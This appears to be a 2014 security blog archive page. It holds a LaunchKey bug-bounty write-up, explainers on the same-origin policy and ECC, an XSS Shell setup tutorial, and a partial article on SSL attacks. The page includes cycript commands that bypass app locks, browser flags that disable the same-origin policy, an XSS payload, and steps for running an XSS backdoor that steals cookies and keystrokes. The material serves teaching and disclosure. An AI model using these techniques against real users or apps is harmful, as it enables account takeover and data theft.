RSS

Win A Free Copy of Packt’s Practical Mobile Forensics

We are pleased to announce that Packt publishing is organizing a giveaway especially for you. All you need to do is just comment below the post and win a free e-copy of Practical Mobile Forensics. Two lucky winners stand a chance to win an e-copy of the book. Keep reading to find out how you can be one of the Lucky One.

Practical Mobile Forensics cover

Overview of Practical Mobile Forensics

  • Clear and concise explanations for forensic examinations of mobile devices
  • Master the art of extracting data, recovering deleted data, bypassing screen locks, and much more
  • The first and only guide covering practical mobile forensics on multiple platforms

How to Enter ?

Simply post your expectations from this book in comments section below. You could be one of the 2 lucky participants to win the copy.

DeadLine:

The contest will close on 09/25/2014. Winners will be contacted by email, so be sure to use your real email address when you comment!

Update – 09/26/2014 : The contest is over. Will announce the winners shortly.

Update – 09/28/2014 : Lucky winners are listed below. Congrats.

Simon Lang
Pralhad

 

Posted by on September 17, 2014 in Android, iPhone

20 Comments

Tags:

LaunchKey Mobile Vulnerabilities : Bug Bounty Experience

Below are the vulnerabilities which I have found in the LaunchKey iPhone application.

Insecure Storage – passcode & auth token are stored in clear text

LaunchKey app allows its users to set a passcode to protect their information. This passcode is stored in clear text in the keychain, which can be obtained using keychain_dumper tool.

launchkey pin in plaintext

The app also stores the authentication token in clear text in the keychain.LaunchKey Auth Token in cleartext

Passcode Lock Bypass

Once a passcode lock is set, whenever the app is relaunched it prompts for the passcode. This passcode lock can be bypassed by manipulating the iOS runtime with cycript. Before manipulating the runtime, I have decrypted the app using clutch and obtained the class information using class-dump-z.

Steps followed to bypass the passcode lock:
1. Connected to the iPhone over SSH.
2. Launched the app and noticed that it prompts for a passcode.
LaunchKey pin lock
3. Attached LaunchKey process to cycript and obtained the view controller instance of current displaying screen. 
$cycript -p LaunchKey
>v=UIApp.keyWindow.rootViewController.visibleViewController
>v
<LKPinViewController: 0x1f5d5d00>
4. Looked at the class dump for LKPinViewController interface and didn’t find any interesting methods/variables.
@interface LKPinViewController : LKLockViewController <UITextFieldDelegate> {
	NSString* pinNumber;
	BOOL creation;
	NSString* firstPin;
	int tries;
	UITextField* pinDigitOneTextField;
	UITextField* pinDigitTwoTextField;
	UITextField* pinDigitThreeTextField;
	UITextField* pinDigitFourTextField;
	UIView* pinView;
	UIImageView* background;
	UIButton* cancelButton;
	UILabel* pinLabel;
	UINavigationBar* navigationBar;
	UIImageView* lkNavLogo;
	UILabel* notMatchLabel;
	UITextField* pinField;
}
@property(retain, nonatomic) UITextField* pinField;
@property(assign, nonatomic) __weak UILabel* notMatchLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIView* pinView;
@property(assign, nonatomic) __weak UIImageView* background;
@property(assign, nonatomic) __weak UITextField* pinDigitFourTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitThreeTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitTwoTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitOneTextField;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* pinLabel;
-(void).cxx_destruct;
-(void)viewDidUnload;
-(void)didReceiveMemoryWarning;
-(void)dealloc;
-(void)cancelButtonTouched:(id)touched;
-(void)shakeTheView;
-(void)viewDidLoad;
-(void)animationDidStop:(id)animation finished:(BOOL)finished;
-(void)showConfirmFields;
-(void)savePinToKeychain:(id)keychain;
-(BOOL)textField:(id)field shouldChangeCharactersInRange:(NSRange)range replacementString:(id)string;
-(id)initWithLocking;
-(id)initWithVerification;
-(id)initWithRemoval;
-(id)initWithCreation;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end

LKPinViewController inherits LKLockViewControllerHence, methods in the parent class (LKLockViewControllerclass) can be invoked from the child class (LKPinViewControllerinstance. So looked at the class dump for LKLockViewController interface and noticed an interesting method pinIsValid.

@interface LKLockViewController : GAITrackedViewController {
	NSNumber* AppId;
	BOOL removing;
	MBProgressHUD* hud;
	BOOL verifying;
	int yOffset;
}
@property(retain) MBProgressHUD* hud;
@property(assign) int yOffset;
@property(assign) BOOL verifying;
@property(assign) BOOL removing;
@property(retain, nonatomic) NSNumber* AppId;
-(void).cxx_destruct;
-(void)pinIsValid;
-(void)showTemporaryError:(id)error;
-(void)unpairDevice;
-(void)updateWaitingAPN:(id)apn;
-(void)didReceiveMemoryWarning;
-(void)viewDidLoad;
-(id)init;
-(id)initAsCombo;
-(id)initAsPin;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end

5. Invoking the pinIsValid method directly from the the cycript prompt, logged me into the app without entering the passcode.

&nbsp;&gt; [v pinIsValid]
launchkey pin bypass

 

Combination Lock Bypass

LaunchKey app allows its users to set a combination lock as an alternative to the passcode lock. Once a combo lock is set, whenever the app is relaunched it prompts the user to enter combo code to unlock. This combo lock can be  bypassed by manipulating the iOS runtime with cycript.

Steps followed to bypass the combo lock:
1. Connected to the iPhone over SSH.
2. Launched the app and noticed that it displays the combo lock.
LaunchKey combo lock
3. Attached LaunchKey process to cycript and obtained the view controller instance of currently displaying screen. 
$cycript -p LaunchKey
> UIApp.keyWindow.rootViewController.visibleViewController
> l=_
<LKComboLockViewController: 0x1e1c9680>

4. Looked at the class dump for LKComboLockViewController interface and noticed an interesting method comboDismissed.

@interface LKComboLockViewController : LKLockViewController {
	BOOL creation;
	int tries;
	UIImageView* background;
	UINavigationBar* navigationBar;
	UIImageView* lkNavLogo;
	UILabel* combinationLabel;
	UIButton* cancelButton;
	UILabel* detailsLabel;
	LKCombinationLock* combo;
}
@property(retain, nonatomic) LKCombinationLock* combo;
@property(assign, nonatomic) __weak UILabel* detailsLabel;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* combinationLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIImageView* background;
-(void).cxx_destruct;
-(void)didReceiveMemoryWarning;
-(void)comboValid;
-(void)shakeTheView;
-(void)invalidComboTry;
-(void)invalidComboSet;
-(void)cancelButtonTouched:(id)touched;
-(void)comboDismissed;
-(void)comboUnlocked;
-(void)comboSetAndDismissed;
-(void)comboSet;
-(void)firstComboSet;
-(void)combosDoNotMatch;
-(id)initWithVerification;
-(id)initWithLocking;
-(id)initWithRemoval;
-(id)initWithCreation;
-(void)viewDidLoad;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end

5. Invoking the comboDismissed method directly from the the cycript prompt, logged me into the app without entering the combo lock code.

> [l comboDismissed]
launchkey combolock bypass

 

Passcode bruteforce limit bypass

When a passcode lock is set, LaunchKey app provides an option to unpair the device after 10 failed passcode attempts. The app is keeping track of the number of attempts in a variable. This bruteforce restriction can be bypassed by changing the variable value in runtime using cycript.
LaunchKey unpair after10

 

Steps followed to bypass the bruteforce limit:
1. Connected to the iPhone over SSH.
2. Turned on PIN lock and selected unpair after 10 option.
3. Closed and reopened the app. It prompted for a passcode.
4. Entered wrong passcode for 9 times.
5. Attached LaunchKey process to cycript and obtained the view controller of currently displaying screen.
$cycript -p LaunchKey
> UIApp.keyWindow.rootViewController
> n=_
> n.visibleViewController
> v=_
 <LKPinViewController: 0x1f5d5d00>
6. Looked at the class dump for LKPinViewController interface and noticed an interesting variable tries.
@interface LKPinViewController : LKLockViewController <UITextFieldDelegate> {
	NSString* pinNumber;
	BOOL creation;
	NSString* firstPin;
	int tries;
	UITextField* pinDigitOneTextField;
	UITextField* pinDigitTwoTextField;
	UITextField* pinDigitThreeTextField;
	UITextField* pinDigitFourTextField;
	UIView* pinView;
	UIImageView* background;
	UIButton* cancelButton;
	UILabel* pinLabel;
	UINavigationBar* navigationBar;
	UIImageView* lkNavLogo;
	UILabel* notMatchLabel;
	UITextField* pinField;
7. Printed the value stored in tries variable and confirmed that it is the variable keeping track of passcode failed attempts.
&gt; v.tries
 &nbsp;9
8. Changed the value to 0.
> v.tries=0
Now you can try another 9 attempts. This would allow to bruteforce the passcode without unpairing the device.


LaunchKey security team is very friendly and they fixed all the vulnerabilities within short time.  I have received 800$ in total for all the vulnerabilities as a bounty. Happy Hunting :)

 

Posted by on May 28, 2014 in iPhone

5 Comments

Tags: , ,

A brief overview of same-origin policy

Can My JavaScript Access Your Page Elements?

We all know that using JavaScript you can do many things for example read elements on a page, analyze the DOM etc. Now assume that you logged into facebook.com and in another browser tab visited mysite.com. The question is can a script present in mysite.com access the elements on the page loaded by facebook.com? The answer is a big NO. Imagine the chaos it would have caused if the answer is yes! But the scripts loaded by facebook.com can happily access the page elements. So how does the browser decide which script can access which page? This is where Same Origin Policy comes in! SOP is one of the most important security concepts that govern how the modern web browsers work. This article explores about SOP, SOP rules and some techniques to bypass SOP.

Same-Origin Policy

Same-Origin Policy permits scripts running on pages originating from the ‘same site’ or ‘same origin’ to access each other’s DOM with no specific restrictions, but prevents access to DOM on different sites. So the how does browser identify whether the script and the page are from ‘same origin’ or not? The origin is calculated based on the combination of scheme, host and port. For example the scheme, host and port for https://www.facebook.com:8080/ are calculated as below:

Scheme: https || Host: facebook || Port: 8080

Browsers consider two resources to be of the same origin if and only if all these values are exactly the same. For example https://www.facebook.com:8080/ and https://www.carrers.facebook.com:8080/ are not same origin because the host is different.

Note: IE browser has 2 exceptions while checking for same origin

  1. IE doesn’t include port while calculating ‘origin’
  2. Same origin policy is not applied for sites which are under highly trusted zone.

Also note that SOP is not just limited to JavaScript. It also applies for XMLHttpRequest, Cookies, and Flash etc. We will see more about the same in the below sections.

Exceptions to SOP and their risks

SOP poses significant problems to large website which use multiple domains (due to the difference in the hostname).  Hence there are some exceptions which can be used to relax it.

Scripts that set domain to the same value:

You can use JavaScript to set the value of document.domain property. If two pages contain scripts which set domain to the same value, the SOP is relaxed for these two windows, and each window can interact with the other. For example, consider the earlier scenario where a script present on https://www.carrers.facebook.com/ cannot access the DOM of a page loaded by https://www.facebook.com/. Now if this script (present on https://www.carrers.facebook.com/) sets its document.domain to www.facebook.com then the script can happily access the DOM. Also note that a script cannot set the value of document.domain to any hostname. It can set the value only to a suffix of the current domain.

Risk: This is relatively safe because we are only talking about sub domains of a site. So scope for someone exploiting this is relatively low unless the sub domain is compromised.

CORS [Cross Origin Resource Sharing]:

CORS is a HTML5 feature that allows one site to access another site’s resources even if both are of different domains. Hence with CORS, JavaScript on a webpage can initiate an AJAX request to another site. To allow this process, the server which implements CORS, adds a HTTP header named ‘Access-Control-Allow-Origin: www.xyz.com’ in the response. Now the xyz.com even though is not of same origin can access this server’s pages.

Risk: Developers often tend to use ‘*’ to get the things working. CORS, being relatively new concept, is often misunderstood. If a site sets Access-Control-Allow-Origin:* it means an attacker can initiate AJAX request to this site with his JavaScript and can access the resources.  Hence while security testing a HTML5 site which has CORS enabled, look for Access-Control-Allow-Origin header to check if it allows only the allowed sites.

CDM [Cross Document Messaging]:

CDM or Cross Document Messaging is also one of the features introduced in HTML 5. This feature allows documents to communicate with one another across different domains. For example, Document A present on www.abc.com can communicate with document X present on www.xyz.com (assume its present as an iframe) by issuing the below request from JavaScript:

var c = document.getElementsByTagName(‘iframe’)[0];
c.contentWindow.postMessage(‘Hiee’, ‘http://www.xyz.com/’);

Upon receiving this request, the script present on www.xyz.com can respond back using the event listener.

function receiver(event) {
     if (event.origin == 'http://www.abc.com') {
         if (event.data == 'Hiee') {
            event.source.postMessage('how are you?', event.origin);
                                    }
         else {
             alert(event.data);
               } } }

Risk: If the origin checking of the sender site is not done properly, there is a chance to run malicious code from other domains. It is also recommended to check the format of the incoming data to make sure that it is in the expected format.

JSONP:

Repeating the golden rule – You cannot make a cross domain Ajax request to update a current page. Here it is important to note that SOP does not restrict a site from loading JavaScript files from a different domain. With JSOP, by adding a <script> element to the page you can load JSON response from different domain. Because the code is loaded by the <script> tag, it can be normally executed. The below figure sums up everything!

jsonp

Risk: Suppose a page hosted on abc.com uses JSONP to access services provided by xyz.com then, the site abc.com has to completely trust xyz.com. From security perspective, excessive trust on other sites is never good. If xyz.com is malicious it can run malicious code on the page loaded by abc.com. Also a malicious page can request and obtain JSON data of another site by using the <script> tag and hence can be used to launch CSRF attacks.

Getting Around SOP

There are ways to turn off same origin policy in browsers. This can be exploited by attackers during targeted attacks on certain individuals. If an attacker can have physical access to the target system, he can turn off the SOP in that browser and can then launch his attack later on to steal certain information from the websites browsed by the user. Below are the options to turn off SOP in different browsers.

Internet Explorer:
-> Go to the Security tab. For the current zone click the ‘Custom level’ button.
-> In the next window, look for ‘Miscellaneous > Access data sources across domains’ and set it to “Disable”.

IE security settings

Mozilla:
-> Open the Mozilla browser and enter ‘about:config’
-> Search for security.fileuri.strict_origin_policy and change the value to false by double clicking it as shown below.

firefox security settings

Google Chrome:
-> Start the chrome by passing the below argument:
C:\Program Files\Chrome\Chrome.exe –disable-web-security

Safari:
-> Start the Safari by passing the below argument:
C:\Program Files\Safari\Safari.exe –disable-web-security

References
http://www.phocean.net/2013/10/13/csrf-with-jsonp.html

 

Posted by on April 30, 2014 in web application hacking

4 Comments

Tags: , ,

Elliptic Curve Cryptography: A Case for Mobile Encryption

It is needless to start this article explaining about the rise of mobile devices in the last few years. We all know about how smart phones have swept the world. But with mobiles you always look for concepts or solutions which are computationally cheap. For example, Android OS uses a dex compiler to convert the Java Byte code to .dex files before compiling them. Why? Because dex files are optimized code for low memory and low processing systems. Similarly when it comes to encryption on mobile devices we look for solutions which are computationally cheap and yet secure. ECC (Elliptic Curve Cryptography) provides exactly the same. This article explains about the why and how ECC is different from the other encryptions.

What is the need for an alternative encryption scheme when you have RSA?

Mobile phones have 2 main limitations:

  1. Computational limitations – Because the processors used on mobile devices are less capable compared to the ones used on a desktop system. Although there are a few devices which use dual core/quad core, most of the mobiles in general are not equipped with these kinds of CPU’s. 2.
  2. Battery Life – Mobile devices run throughout the day and battery consumption is one of the important aspects for the success of a device. The more computations a device has to perform the more battery life is consumed.

Consider a normal user who visits a banking site on his mobile device to transfer money to his friend. A low processing powered mobile device would struggle with the 1024 bit computations of RSA. With major financial institutions, the smallest key size allowed for RSA is 1024 bits. This activity not only takes time to complete but also eats into the battery life of the device.

What is ECC?

Elliptical curve cryptography (ECC) is a public key encryption technique based on elliptic curve theory that can be used to create faster, smaller, and more efficient cryptographic keys. So let us analyze the ECC algorithm by considering 2 factors – Security & Efficiency.

Security:

When we talk about public key encryption algorithms, the first things that come to mind are RSA and Diffie-Hellman. Both these algorithms use 1024 bit keys for major transactions. But it’s important here to note that NIST (National Institute for Standards and Technology) has recommended 1024 bit parameters only till the year 2010. The RSA algorithm is into its 40th birthday and probably regarded as the standard public key exchange on the Internet. After 2010, NIST believes that the existing systems be upgraded to a different set up to provide more security (although we no longer believe NSA or NIST :)). One option is to simply increase the key size used with these algorithms. However you are not quite sure as to what is the safe key size. Other option is to switch to a different set up which is more secure. ECC here comes to rescue. ECC generates keys through the properties of the elliptic curve equation instead of the traditional method of generation as the product of very large prime numbers.

RSA’s security is based on the principle that factoring is slow and hard i.e. it is difficult to factor a large integer composed of two or more large prime factors. With the improvements in technology, the gap between factoring and multiplying is slowly reducing. In the coming years, certainly this is bound to break. Switching to a larger key size is one option but it would only give the breathing space for a few more years.

An elliptic curve is represented as a looping line intersecting two axes. ECC is based on properties of a particular type of equation created from the mathematical group derived from points where the line intersects the axes. Multiplying a point on the curve by a number will produce another point on the curve, but it is very difficult to find what number was used, even if you know the original point and the result. For elliptic-curve-based protocols, it is assumed that finding the discrete logarithm of a random elliptic curve element with respect to a publicly known base point is infeasible –this is called as the elliptic curve discrete logarithm problem or ECDLP. Equations based on elliptic curves have a characteristic that is very valuable for cryptography purposes: they are relatively easy to perform, and extremely difficult to reverse. Despite almost three decades of research, mathematicians still haven’t found an algorithm to solve this problem. To state in simple words, for numbers of the same size, solving elliptic curve discrete logarithms is significantly very much harder than factoring. ECC was developed by Certicom, a mobile e-business security provider. RSA has been developing its own version of ECC. Other manufacturers, including Motorola, Cylink, Siemens, and VeriFone etc have already included support for ECC in their products.

The curious case of Angela Merkel’s phone tapping :)

A few months back, the news that German Chancellor Angela Merkel’s phone was tapped by the US government has created quite a scene. Amid this controversy there was also news that Merkel used 2 phones – one BlackBerry (encrypted) and the other Nokia (not encrypted). In September, new government phones which were manufactured by the Canadian company BlackBerry were delivered to all government officials (including Merkel) after being updated by the German company Secusmart. They contain a special encryption card that scrambles speech and data before transmitting it. So this Secusmart card used the Elliptic curve cryptography to encrypt and decrypt the mobile speech. And just because it is encrypted doesn’t mean its safe. It all depends upon how difficult it is to crack the key.

Efficiency: 

In terms of efficiency, ECC wins the race by large margin. The below table explains it all. The following table gives the key sizes recommended by the National Institute of Standards and Technology to protect keys used in conventional encryption algorithms like the (DES) and (AES) together with the key sizes for RSA, Diffie-Hellman and elliptic curves that are needed to provide equivalent security.

crypto key sizes

For instance to protect 128-bit AES keys using RSA or Diffie-Hellman you need to use 3072-bit parameters. The equivalent key size for elliptic curves is only 256 bits. Also, as the symmetric key size increases, the corresponding RSA/Diffie Hellman key size increases at a much higher rate compared to ECC key size. This is particularly a strong case for moving towards ECC on low powered environments like mobile devices, wireless devices, smart cards etc.

Real word ECC – is it safe?

The reports leaked by Edward Snowden suggested that Dual Elliptic Curve Deterministic Random Bit Generation (or Dual_EC_DRBG) had been included as a NIST national standard due to the influence of NSA, which had included a deliberate weakness in the algorithm and the recommended elliptic curve. RSA Security then issued an advisory recommending that its customers discontinue using any software based on Dual_EC_DRBG. Wikipedia mentions “Implementations which used Dual_EC_DRBG would usually have gotten it via a library. At least RSA Security (BSAFE library), OpenSSL, Microsoft, and Cisco has libraries which included Dual_EC_DRBG, but only BSAFE used it by default. According to the Reuters article which revealed the secret $10 million deal between RSA Security and NSA, RSA Security’s BSAFE was most important distributor of the backdoored algorithm. There was a flaw in OpenSSL’s implementation of Dual_EC_DRBG that made it non-working outside test mode, from which OpenSSL’s Steve Marquess concludes that nobody used OpenSSL’s Dual_EC_DRBG implementation”. All these point out the dark side of the NSA :)

However there are several different standards which propose ways of selecting curves for use in elliptic-curve cryptography (ECC). Each of these standards tries to make sure that the elliptic-curve discrete-logarithm problem (ECDLP – the problem of finding an ECC user’s secret key, given the user’s public key) is difficult. Below are some of the standards in use:

  • ANSI X9.62
  • IEEE P136
  • SEC 2
  • NIST FIPS 186-2
  • ANSI X9.63
  • Brainpool
  • NSA Suite B
  • ANSSI FRP256V1

Hence selecting the right curve and parameters is also important to ensure real world ECC security. More information can be found at the link: http://safecurves.cr.yp.to/.

To summarize,

-> ECC employs a relatively short encryption key. It is faster and requires less computing power than other first-generation encryption public key algorithms such as RSA, Diffie-Hellman. For example, a 160-bit ECC encryption key provides the same security as a 1024-bit RSA encryption key and can be up to 15 times faster, depending on the platform on which it is implemented.

-> Extremely helpful for use on low memory and low computing environments such as mobile devices, wireless devices etc.

-> Elliptic curves are supported by all modern browsers, and most certification authorities offer elliptic curve certificates.

Elliptic curve cryptography has proven to be a promising solution for the implementation of public-key cryptosystems. As widespread use of the internet and mobile devices continues to increase, transferring data the information with less computation and in a more secure manner has been the primary focus. With smaller key sizes and lower processing requirements, elliptic curve cryptography serves the purpose on mobile devices.

 

Posted by on February 28, 2014 in Android, iPhone

Leave a comment

Tags: ,

Advanced Exploitation using XSS-SHELL

Before getting into XSS Shell, let us recollect few basics of XSS (Cross Site Scripting). XSS is one of the most common vulnerability that exists in many of the web applications today. XSS is a technique through which an attacker tries to compromise the web application by executing a malicious script. The attacker does this by breaking the Same-Origin policy of the web application. Same–Origin policy defines that the script which is coming from the foreign site or the script that doesn’t belongs to the same domain (i.e document.domain) should not be processed by the application.

Once if an attacker finds XSS in a web application, he can perform different kinds of attacks.
– Stealing Credentials
– Stealing Session tokens
– Defacing the Website
– Causing DOS
– Installing Key loggers and many more….

Cross-Site-Scripting exists in three different forms:
– Reflected
– Stored
– DOM Based

Reflected XSS:
This kind of vulnerability exists in the application that uses dynamic pages to display the content to the user. Normally these applications take the message into a parameter and renders back to the users.

For Example, consider the URL: http://www.[sample].com/error.html?value=learn+hacking

This shows the message learn hacking in the response of the application. Which means the application is extracting the message from the URL, processing it and displaying it to the user. So the URL processes user supplied data and inserts it into the server’s response. If there is no proper sanitization then the application is vulnerable to Reflected XSS.

The URL can be crafted as: http://www.[sample].com/error.html?value=<script>alert(1)</script>

When you click on the above URL it executes the script and pops up an alert box.

Stored XSS:
This type of vulnerability exist in applications which takes input from the user, store it and later displays to other users. For example, consider Facebook application which allows commenting on any picture or status update and then displays to all other users. If the application doesn’t sanitize the input properly then an attacker can write a script in the comment area, so that the users who visits or views particular page or post will be effected.

So Stored XSS consists of two things to do. Initially the attacker enters the malicious script into the application. Secondly the user visits the crafted page and the script is executed in the back-end without the knowledge of the user.

DOM Based XSS:
DOM stands for Document Object Model. It is quite different from the other two attacks described earlier. In DOM Based XSS when the user click on the crafted URL, server response doesn’t consist of attacker’s script. Instead the browser executes the malicious script while processing the response. This is because the Document Object Model of the browser has a capability to determine the URL used to load the current page. Script issued by the application may extract the data from the URL and process it. Then it uploads the content of the page dynamically depending upon the script executed through the URL.

XSS Shell

XSS Shell is a powerful tool developed in ASP .NET which runs as a XSS backdoor between the attacker and the victim. With XSS, attacker has only one shot to execute any kind of attack on victim. Once the victim navigates from the malicious page the attacker’s interaction or the communication with the victim ends, whereas using XSS Shell help the attacker to open an interactive channel with the victim and communicate with him by sending its commands. Here, even if the victim navigates from the vulnerable/malicious page the attacker can continue his communication as the XSS Shell re-generates the page.

The interactive shell or the communication channel which was established by the attacker with the victim is called “XSS Tunnel”. XSS Tunnel is used for tunneling the HTTP Traffic between two machines opened by XSS. Technically it is developed using AJAX and that can send requests and receive responds and has an ability to talk cross-domain.

Attack Process:
1. Setup XSS Shell Server.
2. Configure XSS Tunnel to use XSS Shell Server.
3. Inject malicious script into a vulnerable Website.
4. Launch XSS Tunnel and wait for victim.
5. Configure the browser or tool to use XSS Tunnel.
6. When victim visits the vulnerable page, start using XSS Tunnel.

How XSS Shell works:

xss shell process 1

As shown in the figure, initially attacker establishes a connection with the XSS Shell and injects malicious script into the web Application using Stored or Reflected XSS. Once the victim clicks or visits the vulnerable application with the malicious script a request will be sent to the XSS Shell Server. On the basis of the request server establishes a channel to interact with the victim.

xss shell process 2

Once a channel has been created between the victim and XSS Shell Server, attacker can control the communication through XSS Shell Admin Interface. XSS Shell Admin Interface is nothing but a GUI environment which provides definite set of commands which the attacker can execute to perform certain actions.

On executing a command, necessary function or the script will be called at XSS Shell Server level and it is sent to the victim. The script will be processed and executed at victim browser and it sends corresponding results to the XSS Shell Server. XSS Shell Server stores the results in MS-Access database which is normally used by it to store the data. Attacker can extract the results from the database and look at it whenever he wants.

Some of the commands that XSS Interface provides are:
– Get Cookie
– Get Current Page
– Get Clipboard
– Get Key-logger data
– Crash browser

One more advantage of using XSS Shell is, it is an Open Source and quite easy to implement new commands.

Requirements:
- An IIS Server where you can host .asp files.
– Microsoft Access database (.mdb)
– A Website which is vulnerable to XSS
– A vulnerable site to perform attack

Setting up the environment:
- Download the XSSShell from: http://labs.portcullis.co.uk/download/xssshell-xsstunnell.zip
- Configure IIS to host the site
– Installation
– Configure XSS Shell

Configuring IIS:
In-order to configure IIS in windows 7 or above, follow the steps given below:

1. Click on Start Menu and goto Control Panel.
2. Click Programs and then click on Turn windows features on or off.
3. A new Windows Features dialog box will appear. Expand Internet Information Services.
4. Select default features that has to be installed with IIS.
5. You can expand the additional categories and install any additional features if required.
6. It is recommended to install additional features if you want to use IIS for evaluation purpose.

Now IIS has been configured in the machine and can be accessed using http://localhost/

IIS 7 default page

Installation:
XSS Shell uses ASP .NET and MS-Access database. So just make sure that you have installed .NET framework and MS-Access db on your machine.

Configuring XSS Shell Admin Interface:
- After downloading the XSSShell.zip file, extract the file and you can see two folders – XSSshell & XSSTunnel.
XSSshell is admin interface and you need to configure it in your machine. Copy XSSshell folder to your web server.

xss shell folder

- You can see a sub-folder named db in the XSSShell folder as shown in the above image. Copy that to a secure place because XSSshell stores complete data in that db, whatever it is either victim’s session cookies or any other attacked data that belongs to victim.
– After moving the db folder to a secure place, configure the path in db.asp file under XSSshell/admin folder. So that the interface can know where the db is and interact with it.

xssshell source 1

- Edit the path to the location such that it should point to the place where db folder is present in your machine.xssshell source 2The above image, shows default password to access shell.mdb file. You can edit to whatever you want.
- Now you can access admin interface by using the localhost url or the domain name that you have given. Ex: http://localhost/xssshell (or) http://yourhostname.com/xssshell
- By default it uses port 80, but if you change the port number while configure the domain you need to access the site by embedding the port number.

Configuring XSS Shell:
- Open xssshell.asp from XSSshell folder.
– Configure the server path. i.e to the place where XSSshell folder is located.

xssshell source 3

- Above figure shows the configuration of server path in xssshell.asp file. Edit he parameter SERVER to the place to the location of XSSshell folder in your machine.
– Now access your admin interface from the browser, which would contain three sections.

xss shell admin interface

Commands:
As mentioned earlier XSSshell has pre-defined commands which make attacker’s life easy to perform any attack on the victim. Commands section contains all the commands supported by the shell. As it is a open source you can edit it and add your own functionalities there.

Victims:
Victims section shows the list of victims.

Logs:
Logs show the list of actions performed on the victims.

XSS Tunnel:

XSS Tunnel is just like a proxy tool which runs on attacker machine and captures traffic through xss channel on XSSshell server. In-order to do this XSS Tunnel should be able to understand where XSSshell server is running. We can configure the XSSshell information (i.e where it is running) in XSS Tunnel from Options tab. Enter the server address and password. Then just to make sure it is working fine click on Test Server. You get a success message if the configuration is proper.

xss tunnel - connection success

Once done with configuration, click on Start XSS Tunnel on the top of the window.  Then you can see all the actions performed by the victim from XSS Tunnel’s Dashboard. The below image shows all the pages visited by the victim and actions performed.

xss tunnel - traffic capture

Conclusion:

XSSshell is an interface or a tool which opens a gateway to the attacker through which he can perform various attacks on the victim without losing the connection once established.

References:

http://labs.portcullis.co.uk/tools/xss-shell/
http://www.slideshare.net/clubhack/xss-shell-by-vandan-joshi

 

Posted by on January 29, 2014 in web application hacking

Leave a comment

Tags: , , ,

SSL Attacks

In the last few years, we have witnessed a wide range of attacks on the SSL/TLS mechanism. In this article, we will try to cover various attacks that were prominent in the field of cryptography. Transport layer security (TLS) ensures integrity of data transmitted between two parties (server and client) and also provides strong authentication for both parties. The attacks launched in the last few years have exploited various features in the TLS mechanism. We are going to discuss these attacks one by one.

Browser Exploit Against SSL/TLS Attack (BEAST)

This attack was revealed at the Ekoparty Security Conference in 2011. BEAST is based on a type of cryptographic attack called the “chosen plain text attack”. Before I jump into explaining the details of this attack, let us take a look at some of the basic concepts to be understood.

Background

There are two types of encryption schemes:
1. Symmetric key encryption: Encryption and decryption keys are the same.
2. Asymmetric key encryption: Encryption and decryption keys are not the same.

Symmetric-key encryption can use either stream ciphers or block ciphers. A stream cipher encrypts one bit at a time, while a block cipher encrypts plaintext in chunks. Let’s talk about block cipher. How is a message encrypted using block cipher? You don’t use the block cipher on the message directly but instead you first need to choose the “mode of operation” CBC (cipher block chaining) is one such mode used by the block ciphers.

In CBC mode, to make each message unique, an initialization vector (IV) is used in the first block. An IV is a random string that is XORed with the plaintext message prior to encryption. Each block of plaintext is XORed with the previous cipher text block before being encrypted. In other words, each cipher text block depends on all plaintext blocks processed up to that point as shown in the figure below. It’s important to note that here IV is not a secret; it only adds randomness to the output. IV is sent along with the message in clear text format. With this background information, let us know focus on how the BEAST attack is accomplished.

cbc mode

How Is the Attack Accomplished?

It was noticed that TLS 1.0, when dealing with multiple packets, allows the following packets to use an IV that is the last cipher text block of the previous packet. In other words, an attacker who can see the encrypted traffic can note the IV used for session cookie (Why? Because the cookie’s location is predictable). Simply put, an active attacker will be able to gather the IVs for each record just by sniffing the network. So if the attacker can “guess” a plaintext message, he can make a guess at the session cookie and see if the cipher text matches. [Note that, since this is a MITM attack, the attacker can mix his traffic with the victim traffic to see the results].

Practical Example

Now let us consider the message: JSESSIONID=Gxs36NepewqeMI763Hej31pkl.

This is a plaintext and will have to be XORed with the IV (which is cipher text of the previous block). The attacker has this IV value in his hands. Now if he can “predict” this plaintext value and XOR with IV, he can check whether it corresponds to the cipher text value. Understandably, it’s not easy to predict such a random value, but he can guess it a single character at a time. For example “JSESSIONID=G” can be guessed by trying different characters. Once the first character is recovered, he can shift the attack to the next character. This way he can guess one character at a time and accomplish the attack. This attack is not so straightforward and has some limitations:

  1. The attacker has to be in the same network and play a MITM attack.
  2. The attacker has to modify the traffic to see if the results match; as a result, multiple requests have to be sent in this process.
  3. The attacker can guess only one block at a time.

Solution

This is a vulnerability in block ciphers that use the CBC mode of operation. It was identified in TLS 1.0. However it was addressed in TLS 1.1 and TLS 1.2 by the use of “explicit IVs” for each block. Hence, TLS 1.1 and TLS 1.2 are not exposed to this attack. Some of the browsers have attempted to implement a solution to address the vulnerability while still remaining compatible with the SSL 3.0/TLS 1.0 protocol. Apple’s Safari, even though it has released a mitigation, has chosen to keep it disabled by default.

Google: Update to Chrome 16 or later.
Microsoft: Apply the patch MS12-006.
Mozilla: Update to Firefox 10 or later.

SSL Renegotiation Attack

A vulnerability was discovered in the SSL renegotiation procedure that allows an attacker to inject plaintext into the victim’s requests. For instance, it allows an attacker who can hijack an HTTPS connection to add their own requests to the conversation the client has with the web server. Note that the attacker cannot decrypt the client-server communication.

Background

